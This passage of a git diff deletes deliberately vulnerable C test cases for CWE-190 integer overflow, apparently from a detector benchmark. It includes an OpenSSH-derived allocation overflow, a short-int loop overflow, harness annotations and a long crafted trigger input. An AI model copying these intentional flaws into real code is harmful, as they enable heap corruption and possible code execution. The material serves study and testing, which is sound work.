-Scope Effect
-Availability Technical Impact: DoS: crash / exit / restart; DoS: resource consumption (CPU)
- Integer overflows generally lead to undefined behavior and therefore
- crashes. In the case of overflows involving loop index variables, the
- likelihood of infinite loops is also high.
-
-Integrity Technical Impact: Modify memory
- If the value in question is important to data (as opposed to flow),
- simple data corruption may occur. Also, if the integer overflow results
- in a buffer overflow condition, data corruption may take place.
-
-Access Control
-Integrity Technical Impact: Execute unauthorized code or commands
- Integer overflows can sometimes trigger buffer overflows which can be
- used to execute arbitrary code. This is usually outside the scope of a
- program's implicit security policy.
-
-*/
-/*
-Example 1
-The following code excerpt from OpenSSH 3.3 demonstrates a classic case of integer overflow:
-(Bad Code)Example Language: C
-
-@BAD_ARGS
-@ATTACK_SUCCEEDED_CODE 139
-
-*/
-
-#include <stdlib.h>
-#include <stdio.h>
-#ifdef ASSERT
- #include <assert.h>
-#endif
-int packet_get_int() { return 1073741824; }
-char* packet_get_string() { return "Hello World"; }
-
-
-int main(int argc, char **argv)
-{
- unsigned int nresp = packet_get_int();
- if (nresp > 0) {
- unsigned bytestomalloc = nresp * sizeof(char*);
- char **response = malloc(bytestomalloc);
-
- int i;
- for (i = 0; i < nresp; i++) response[i] = packet_get_string();
- }
-#ifdef ASSERT
-assert( (nresp*sizeof(char*))>0 );
-#endif
- exit(0);
-}
-
-/*
-If nresp has the value 1073741824 and sizeof(char*) has its typical value of 4, then the result of the operation nresp*sizeof(char*) overflows, and the argument to xmalloc() will be 0. Most malloc() implementations will happily allocate a 0-byte buffer, causing the subsequent loop iterations to overflow the heap buffer response.
-*/
-
diff --git a/integerbug_examples/C1_Number_Handling/CWE_190/CWE_190_Example_2_bad.c b/integerbug_examples/C1_Number_Handling/CWE_190/CWE_190_Example_2_bad.c
deleted file mode 100644
index a51d811ed14ccabac69e805ed285432ad0dbe466..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_190/CWE_190_Example_2_bad.c
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
-Integer Overflow or Wraparound
-
-
-Description Summary
-The software performs a calculation that can produce an integer overflow or wraparound,
-when the logic assumes that the resulting value will always be larger than the original
-value. This can introduce other weaknesses when the calculation is used for resource
-management or execution control.
-
-Extended Description
-An integer overflow or wraparound occurs when an integer value is incremented to a
-value that is too large to store in the associated representation. When this occurs,
-the value may wrap to become a very small or negative number. While this may be
-intended behavior in circumstances that rely on wrapping, it can have security
-consequences if the wrap is unexpected. This is especially the case if the integer
-overflow can be triggered using user-supplied inputs. This becomes security-critical
-when the result is used to control looping, make a security decision, or determine
-the offset or size in behaviors such as memory allocation, copying, concatenation, etc.
-
-Common Consequences
-Scope Effect
-Availability Technical Impact: DoS: crash / exit / restart; DoS: resource consumption (CPU)
- Integer overflows generally lead to undefined behavior and therefore
- crashes. In the case of overflows involving loop index variables, the
- likelihood of infinite loops is also high.
-
-Integrity Technical Impact: Modify memory
- If the value in question is important to data (as opposed to flow),
- simple data corruption may occur. Also, if the integer overflow results
- in a buffer overflow condition, data corruption may take place.
-
-Access Control
-Integrity Technical Impact: Execute unauthorized code or commands
- Integer overflows can sometimes trigger buffer overflows which can be
- used to execute arbitrary code. This is usually outside the scope of a
- program's implicit security policy.
-
-Example 2
-Integer overflows can be complicated and difficult to detect. The following example is an attempt to show how an integer overflow may lead to undefined looping behavior:
-(Bad Code)Example Language: C
-
-@GOOD_ARGS 100 <Example2_good.txt
-@BAD_ARGS 32767 <Example2_bad.txt
-@ATTACK_SUCCEEDED_CODE 1
-*/
-
-#include <stdio.h>
-#include <string.h>
-#include <stdlib.h>
-
-short int getFromInput(char* buf)
-{
- scanf("%s\n", buf);
- return strlen(buf);
-}
-
-#define SOMEBIGNUM 100000
-void doit(int MAXGET)
-{
- short int bytesRec = 0;
- char buf[SOMEBIGNUM];
- int count = 0;
-
- while(bytesRec < MAXGET) {
- bytesRec += getFromInput(buf+bytesRec);
- if (count++ > 10000) { exit(1); }
- }
-}
-
-int main(int argc, char **argv)
-{
- doit(atoi(argv[1]));
- exit(0);
-}
-
-/*
-In the above case, it is entirely possible that bytesRec may overflow, continuously creating a lower number than MAXGET and also overwriting the first MAXGET-1 bytes of buf.
-
-*/
diff --git a/integerbug_examples/C1_Number_Handling/CWE_190/Example2_bad.txt b/integerbug_examples/C1_Number_Handling/CWE_190/Example2_bad.txt
deleted file mode 100644
index 486393c9443e9fb3e0b234e3dc699d6a04792eca..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_190/Example2_bad.txt
+++ /dev/null
@@ -1,401 +0,0 @@
-400 lines of 100 - more than 32767
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
